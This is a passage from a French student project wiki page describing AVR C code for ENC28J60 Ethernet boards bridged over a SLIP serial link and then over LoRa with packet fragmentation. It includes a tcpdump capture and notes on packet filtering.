#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
